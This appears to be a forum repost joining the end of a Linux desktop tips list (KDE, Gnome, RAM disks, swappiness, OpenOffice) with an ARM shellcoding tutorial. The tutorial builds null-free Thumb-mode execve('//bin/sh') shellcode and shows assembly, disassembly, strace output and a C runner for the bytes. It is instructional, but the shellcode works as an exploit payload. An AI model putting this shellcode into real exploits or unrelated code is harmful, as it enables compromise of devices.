is checked. Easy! KDE #34: Watch, don't wait Some command-line commands, such as "tail", print out information when something of interest happens, as opposed to just constantly printing out a stream of text. If you want to keep an eye on something without literally having to stare at it, Konsole has the perfect option for you: go to the View menu and choose the Monitor For Activity option. Now you can carry on with your normal work, and Konsole will flash when your terminal has something of interest for you. #35: Add Close buttons to Konqueror tabs Firefox has an option to add a Close button to each tab; so does Konqueror but it replaces the website icon. To get the best of both worlds - a site icon that turns into a Close button when the mouse is over it - load ~/.kde/share/config/konquerorrc into your favourite text editor and add the following to the section starting with [FMSettings]: AddTabButton=false CloseTabButton=false HoverCloseButton=true #36: Calculations at your fingertips Most people know that Alt+F2 brings up the Run command where you can type in commands you want to run, but did you also know that you can use it for quick calculations? Try it out - press Alt+F2, then type 4+9*5/2 and click Run; you should see the answer 26.50000000. It's very basic, but you're able to do calculations with +, -, *, / and brackets/parentheses, which is enough for basic calculation purposes. #37: Easy info pages Man pages are easy to read (if not always easy to understand) but some programs put their best documentation in info pages. The info page reader uses some arcane keystrokes to navigate what is basically hypertext, making it unintuitive for less-than-regular users. So use a hypertext reader you are used to: a web browser. Type info:progname into Konqueror (or the Alt+F2 Run command requester) to read an info page as if it were a web page, complete with clickable links. #38: Even quicker acronym searches The Alt+F2 box has another cool feature: all those quick searches you use in the Konqueror location bar work just as well from the Alt+F2 command runner! For example, to do a quick search for poodles, just hit Alt+F2, type gg:poodles, then hit Enter - Konqueror will automatically launch and get pointed at Google with your results. #39: Delegating power The KDE Control Center is the hub of KDE's configuration for your PC, which means if you want something changed you'll probably find it in there somewhere. But if you find it's a bit too much - either for you, or for someone whose PC you're setting up who is a bit afraid of Linux - then you ought to try creating your own Control Center shell that loads only the modules you're interested in. For example, if you wanted to run Control Center so that you only saw the colours, fonts, screensavers and style options, you would use this command: kcmshell4 colors fonts screensaver style Note the US spelling of colour! Gnome #40: Add scripts to Nautilus Right-clicking on your desktop gives a traditionally Gnome-like selection of options: you can move the icons around a bit, change the background, and that's about it. But Nautilus is capable of so much more - in fact, you can super-charge your Gnome right-click menus by installing Nautilus shell scripts into your ~/.gnome2/nautilus-scripts directory. There's a great selection of scripts available from Content GNOME-Look.org - try some of them out to see which suit you! #41: Make Gnome menus appear faster One of our pet peeves is how slow the Gnome menus appear when you hover over them, which is a shame really because that's something we can fix in five seconds flat - just put this text into the file .gtkrc-2.0 in your home directory: gtk-menu-popup-delay = 0 #42: Add more functions to Nautilus Nautilus has a surprising amount of power with its extensions, but none are installed by default leaving it looking somewhat bare. That's easily fixed, though, particularly if you're using Ubuntu - just apt-get the nautilus-gksu and nautilus-open-terminal extensions, restart Nautilus, enjoy the feature upgrade! #43: Change default browser for files Not everyone likes Nautilus. In fact, if you're a power user, a slim-and-light lover or indeed anyone who gets bored with blandness easily, Nautilus is rather hard to love. Fortunately, you can force Gnome to use a different file manager for the Places shortcuts shown in the menu bar, because each of these have their own application shortcut shown in /usr/share/applications. For example, if you want to launch a different file manager when you click Places > Home Folder, crack open the /usr/share/applications/nautilus-home.desktop file and change the Exec line to your browser of choice. #44: GTweakUI heaven Gnome, like most Apple software, likes hiding options from you that take some hacking to reach. So hurray, then, for GTweakUI, which opens up a whole new world of options to play with. Our particular favourite is "Use home folder as desktop", which means you get instant access to all your files without going through the Places menu. But there are lots to play - get tweaking! Performance #45: Super-fast temporary files Remember the old days of RAM disks? Well, Linux has them too! If you've never tried them, a RAM disk is a virtual filesystem that runs entirely from your PC's main memory, which means it's lightning fast to read and write anything you want. How much space you choose to allocate to your RAM disk is down to how much RAM you have and how much you plan to use it - if you have 1GB of RAM, you can easily spare 64MB for a ramdisk; if you have 2GB you can probably spare 256MB, and if you're lucky enough to have 4GB then you can easily stretch your RAM disk legs with 1GB. Here's how to set up a 64MB disk - just change the 65536 for the size you want: mkfs -t ext3 -q /dev/ram1 65536 mkdir -p /ramdisk mount /dev/ram1 /ramdisk -o defaults,rw Alternatively, a reader suggested you could also try using tmpfs, like this: mkdir /ramdisk mount none -t tmpfs -o size=256M /ramdisk That will allocate 256MB of space to your RAM disk. If you skip the "-o size=256M" part, half your RAM will be used by default. #46: Avoid the disk There's very little that's more annoying in Linux than its ability to use the swap file completely regardless of how much RAM you have installed on your machine. Yes, this is helpful in some scenarios - notably when your system is under heavy load and is really getting maxed out - but generally, if you have 2GB or more RAM, you'll have lots free waiting to be used. The way to force Linux to use swap space less is to edit the /etc/sysctl.conf file and to look for (or create) the vm.swappiness line. If you have lots of RAM and want to minimise the amount of swapping Linux does, set the line to be this: vm.swappiness=10 #47: No more disk thrashing We've said this time and time again, but people really never seem to take it seriously: if you want your disks to run at their full potential, make sure and enable the relatime option in /etc/fstab. You see, every time your disk does a read (eg reading a file), it also does a write, to store the information pertaining to when the file was last read. This process is incredibly slow, and you can get a sizeable speed boost - usually around 10 per cent - with just one simple tweak. Switch to root, then open up /etc/fstab in your favourite text editor. Look for where you root filesystem is, and make sure that it uses defaults,relatime,data=writeback for its settings, then save, reboot and let your poor overworked PC perform to its full potential... At last! OpenOffice.org #48: Styles on your keyboard It's one thing spending time adjusting the OpenOffice.org styles to fit your needs, but it's quite another to be bothered to apply those styles everywhere they are needed! And admittedly it's a bit of a pain to take your hands off the keyboard, point and click your mouse on a style, then carry on typing, so it might be surprising that OOo doesn't allow keyboard shortcuts for styles. But here's the thing: it does let you apply keyboard shortcuts, but it takes a bit of hacking. First, set up your styles just as you want them. Then go to Tools > Macros > Record Macro, and click the style you want to apply. Now click the floating Stop Recording button and save your macro as ApplyingStyleXYZ (you can't use spaces in your names, remember!). You've basically made OOo write a little program to apply that style for you. Now for the magic: click Tools > Customize, select the Keyboard tab, then scroll down the list of shortcut keys until you find one you like, eg Ctrl+Shift+A. In the bottom part of the window, choose OpenOffice.org Macros > User > Standard > Module1 from the Category list, then you should see your macro name appear in the Function list. Choose that, then click Modify - this assigns the selected macro function to the selected shortcut key, essentially making Ctrl+Shift+A apply your style immediately. #49: Skip the branding Sick of the way you get a splash screen every time you open an OpenOffice.org program? Well, if you can find the OOo configuration file on your computer, you can disable it. Windows users should find the configuration file in their OpenOffice.org installation directory, under the 'program' subdirectory - look for soffice.ini. Linux users should look for the sofficerc file. Open that using your text editor, and change this: Logo=1 to this: Logo=0 OOo will now load significantly faster, and take up less screen real estate while it loads - winner! #50: Help the widows and orphans There are two things that make magazine proofreaders pull their hair out: orphans and widows and spelling errors. OK, so that's three things: orphans, widows, spelling errors, late text arriving from writers, and stale style guides. And... well, alright - all sorts of stuff makes them angry, but as far as we're concerned for this tip, it's the orphans and widows that are most important! An orphan in the publishing world is any word that appears on a line by itself at the end of a paragraph, and a widow is a part of a sentence that finishes a paragraph that runs over to the start of a new page. Both look bad, but rather than making creative use of empty line breaks, you should let Writer do the hard work for you - go to Format > Paragraph > Text Flow, and make sure Orphan Control and Widow Control are both enabled. Sursa: More Linux tips every geek should know - StumbleUpon

ARM Architecture Shellcoding by Anwar Mohamed - 05-10-2014 Introduction to the ARM architecture ARM is a family of instruction set architectures for computer processors based on a reduced instruction set computing (RISC) architecture developed by British company ARM Holdings. Also it is the most widely used 32-bit instruction set architecture. For a list of the ARM processor cores and handsets built on them, have a look at this link ARM architecture today has some features that were derived from the old Berkeley RISC including a load-store architecture, fixed length 32-bit instructions and 3-address instruction formats. The ARM architecture is also the most present in the field of Mobile Computing. Numerous operating systems have been ported to that architecture including Linux (Used by Android), iOS (Used by iPhone & iPad) and Windows Phone 8 (Used by many Nokia-Lumia smartphones). Register conventions Register Alt. Name Usage r0 a1 First function argument Integer function result Scratch register r1 a2 Second function argument Scratch register r2 a3 Third function argument Scratch register r3 a4 Fourth function argument Scratch register r4 v1 Register variable r5 v2 Register variable r6 v3 Register variable r7 v4 Register variable r8 v5 Register variable r9 v6 rfp Register variable Real frame pointer r10 sl Stack limit r11 fp Argument pointer r12 ip Temporary workspace r13 sp Stack pointer r14 lr Link register Workspace r15 pc Program counter Out of the 16 accessible registers there are 11 general-purpose registers and 5 special purpose registers, which are assigned specific names. R11 is the frame pointer and holds the pointer to the current stack frame. R12 is the Intra-procedure call scratch register used by a subroutine to store temporary data. R13 is the stack pointer and holds the pointer to the top of the stack. R14 is the link register holds the return addresses whenever a subroutine is called with a branch and link instruction. R15 is the program counter and holds the address of the next instruction to be executed. The arguments of a function are stored in registers r0 to r3. If the number of arguments is greater than 3 then the excess arguments are stored onto the stack. Let's start by writing a shellcode called execve(). We first need to know the address of the syscall. Note that we are using a Raspberry Pi to demonstrate this article. ~# cat /usr/include/arm-linux-gnueabihf/asm/unistd.h | grep execve #define __NR_execve (__NR_SYSCALL_BASE+ 11) #define __NR_kexec_load (__NR_SYSCALL_BASE+347) We have [B]11[/B] for [B]_execve[/B]. We know that [B]_execve[/B] consumes three arguments: execve(const char *filename, char *const argv[], char *const envp[]) Which gives us: r0 => "//bin/sh\0" r1 => "//bin/sh\0" r2 => 0 r7 => 11 ~# cat shell.s .section .text .global _start _start: mov r0, pc // place the address of pc in r0 add r0, #20 // add 20 to it (which then makes it point to //bin/sh) str r0, [sp, #4] // place it on the stack add r1, sp, #4 // move what was on the stack to r1 sub r2, r2, r2 // subtract r2 from itself (which is the same as placing 0 in r2) mov r7, #11 // syscall execve in r7 svc 0 // execute .ascii "//bin/sh\0" ~# as -o shell.o shell.s ~# ld -o shell shell.o ~# ./shell ~# exit ~# ~# strace ./shell execve("./shell", ["./shell"], [/* 15 vars */]) = 0 execve("//bin/sh", ["//bin/sh"], [/* 0 vars */]) = 0 It worked however in order create our shellcode, we should have no null bytes, and our shellcode has many of them. ~# objdump -d shell shell: file format elf32-littlearm Disassembly of section .text: 00008054 <_start>: 8054: e1a0000f mov r0, pc 8058: e2800014 add r0, r0, #20 805c: e58d0004 str r0, [sp, #4] 8060: e28d1004 add r1, sp, #4 8064: e0422002 sub r2, r2, r2 8068: e3a0700b mov r7, #11 806c: ef000000 svc 0x00000000 8070: 69622f2f .word 0x69622f2f 8074: 68732f6e .word 0x68732f6e 8078: 00 .byte 0x00 8079: 00 .byte 0x00 Under ARM, we have the THUMB MODE which allows us to use 16 bits addressing for our calls as opposed to 32 bits, which does simplify our life at this stage. ~# cat shell.s .section .text .global _start _start: .code 32 add r6, pc, #1 bx r6 .code 16 mov r0, pc add r0, #10 str r0, [sp, #4] add r1, sp, #4 sub r2, r2, r2 mov r7, #11 svc 0 .ascii "//bin/sh\0" ~# as -mthumb -o shell.o shell.s ~# ld -o shell shell.o ~# ./shell When compiling, use "-mthumb" to indicate that we are switching to "Thumb Mode". The value of the constant being added to r0 was changed. Instead of the original "add r0, #20", We are doing "add r0, #10" since we have now switched to "thumb mode", the address where our chain is at, has been halved. ~# objdump -d shell shell: file format elf32-littlearm Disassembly of section .text: 00008054 <_start>: 8054: e28f6001 add r6, pc, #1 8058: e12fff16 bx r6 805c: 4678 mov r0, pc 805e: 300a adds r0, #10 8060: 9001 str r0, [sp, #4] 8062: a901 add r1, sp, #4 8064: 1a92 subs r2, r2, r2 8066: 270b movs r7, #11 8068: df00 svc 0 806a: 2f2f .short 0x2f2f 806c: 2f6e6962 .word 0x2f6e6962 8070: 6873 .short 0x6873 So now we have to modify the following instruction: "svc 0". For SVC we will use "svc 1" which is perfect in this case. ~# cat shell.s .section .text .global _start _start: .code 32 add r6, pc, #1 bx r6 .code 16 mov r0, pc add r0, #10 str r0, [sp, #4] add r1, sp, #4 sub r2, r2, r2 mov r7, #11 svc 1 .ascii "//bin/sh\0" ~# as -mthumb -o shell.o shell.s ~# ld -o shell shell.o ~# strace ./shell execve("./shell", ["./shell"], [/* 15 vars */]) = 0 execve("//bin/sh", ["//bin/sh"], [/* 0 vars */]) = 0 ~# exit ~# ~# objdump -d shell shell: file format elf32-littlearm Disassembly of section .text: 00008054 <_start>: 8054: e28f6001 add r6, pc, #1 8058: e12fff16 bx r6 805c: 4678 mov r0, pc 805e: 300a adds r0, #10 8060: 9001 str r0, [sp, #4] 8062: a901 add r1, sp, #4 8064: 1a92 subs r2, r2, r2 8066: 270b movs r7, #11 8068: df01 svc 1 806a: 2f2f .short 0x2f2f 806c: 2f6e6962 .word 0x2f6e6962 8070: 6873 .short 0x6873 Here we are, we have got an operational shellcode without any null bytes. In C that gives us: ~# cat shell.c #include <stdio.h> #include <string.h> char *shellcode = "\x01\x60\x8f\xe2" "\x16\xff\x2f\xe1" "\x78\x46" "\x0a\x30" "\x01\x90" "\x01\xa9" "\x92\x1a" "\x0b\x27" "\x01\xdf" "\x2f\x2f" "\x62\x69\x6e\x2f" "\x73\x68"; int main() { (*(void(*)()) shellcode)(); return 0; } ~# gcc -o shell shell.c ~# ./shell $ $ References The ARM Instruction Set Introduction to ARM Exploitation Shellstorm - Shellcoding in ARM Architecture Sursa: anwarelmakrahy | ARM Architecture Shellcoding